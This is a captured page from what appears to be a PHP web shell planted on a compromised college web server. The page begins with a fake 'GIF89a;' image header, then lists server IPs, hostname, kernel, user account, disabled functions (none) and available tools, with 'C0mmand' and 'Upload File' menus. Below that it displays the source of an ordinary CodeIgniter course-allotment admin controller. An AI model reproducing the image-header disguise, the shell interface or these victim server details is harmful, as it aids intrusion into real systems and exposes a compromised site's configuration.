GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.145.47.193 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../alumni/../css/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Request Handler For Allotment Modules * * @author Softpro India Pvt. Ltd. */ class Allotment extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/AllotmentManagement'); $this->load->model('admin/RoleManagement'); $this->load->model('admin/CourseManagement'); } public function assignedCourses() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allCourseAllotment'] = $this->AllotmentManagement->getAllCourseAllotment()->result(); $this->load->view('admin/academics/courseAllotments', $viewData); } else { redirect("admin/"); } } public function courseAllotment() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['roles'] = $this->RoleManagement->getNonDeletedRoles()->result(); $viewData['courses'] = $this->CourseManagement->getNonDeletedCoursesWithFullInfo()->result(); $this->load->view('admin/academics/newCourseAllotment', $viewData); } else { redirect("admin/"); } } public function saveNewCourseAllotment() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('empRole', 'Employee Role', 'trim|required', array('required' => 'Please Select Any Employee Role.')); $this->form_validation->set_rules('employee', 'Employee Name', 'trim|required', array('required' => 'Please Select Any Employee.')); $selectedCourses = $this->input->post('courses'); if ($this->form_validation->run() == FALSE) { $this->courseAllotment(); } else if (sizeof($selectedCourses) == 0) { $this->session->set_flashdata("errorMessage", "Please Select At Least One Course For Allotment."); $this->courseAllotment(); } else { $allotmentInfo = array(); $alreadyExisting = 0; for ($i = 0; $i < sizeof($selectedCourses); $i++) { if (!sizeof($this->AllotmentManagement->getCourseAllotmentInfoBy(trim($this->input->post('employee')), trim($selectedCourses[$i]))->result())) { array_push($allotmentInfo, array( 'sca_assigned_on' => date("Y-m-d H:i:s"), 'sca_assigned_by' => $this->session->userdata("adminData")["smember_id"], 'smember_id' => trim($this->input->post('employee')), 'course_id' => trim($selectedCourses[$i]) )); } else { $alreadyExisting++; } } if (sizeof($allotmentInfo)) { if ($this->AllotmentManagement->createNewCourseAllotment($allotmentInfo)) { if ($alreadyExisting) { $this->session->set_flashdata("successMessage", "Some Of The Course(s) You Selected Was Already Allotted To The Selected User However Those Which Were Not Has Been Alloted Successfully."); redirect("admin/Allotment/assignedCourses"); } else { $this->session->set_flashdata("successMessage", "Course Allotment Successful."); redirect("admin/Allotment/assignedCourses"); } } else { $this->session->set_flashdata("errorMessage", "Failed To Allot Course(s). Try Again Later."); redirect(current_url()); } } else { if ($alreadyExisting == sizeof($selectedCourses)) { $this->session->set_flashdata("errorMessage", "The Course(s) You Selected Is Already Allotted To Selected Employee."); redirect(current_url()); } else { $this->session->set_flashdata("errorMessage", "Something Went Wrong. Try Again Later."); redirect(current_url()); } } } } else { redirect("admin/"); } } public function deleteCourseAllotment($sca_id) { if ($this->sessionvalidator->isLoggedIn()) { $this->AllotmentManagement->deleteCourseAllotmentInfoBy($sca_id); $this->session->set_flashdata('successMessage', 'Course Allotment Removed Successfully.'); redirect("admin/Allotment/assignedCourses"); } else { redirect("admin/"); } } }